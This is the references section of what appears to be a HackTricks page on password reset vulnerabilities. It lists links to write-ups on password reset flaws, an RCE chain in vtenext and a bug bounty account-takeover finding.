- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
{{#include ../banners/hacktricks-training.md}}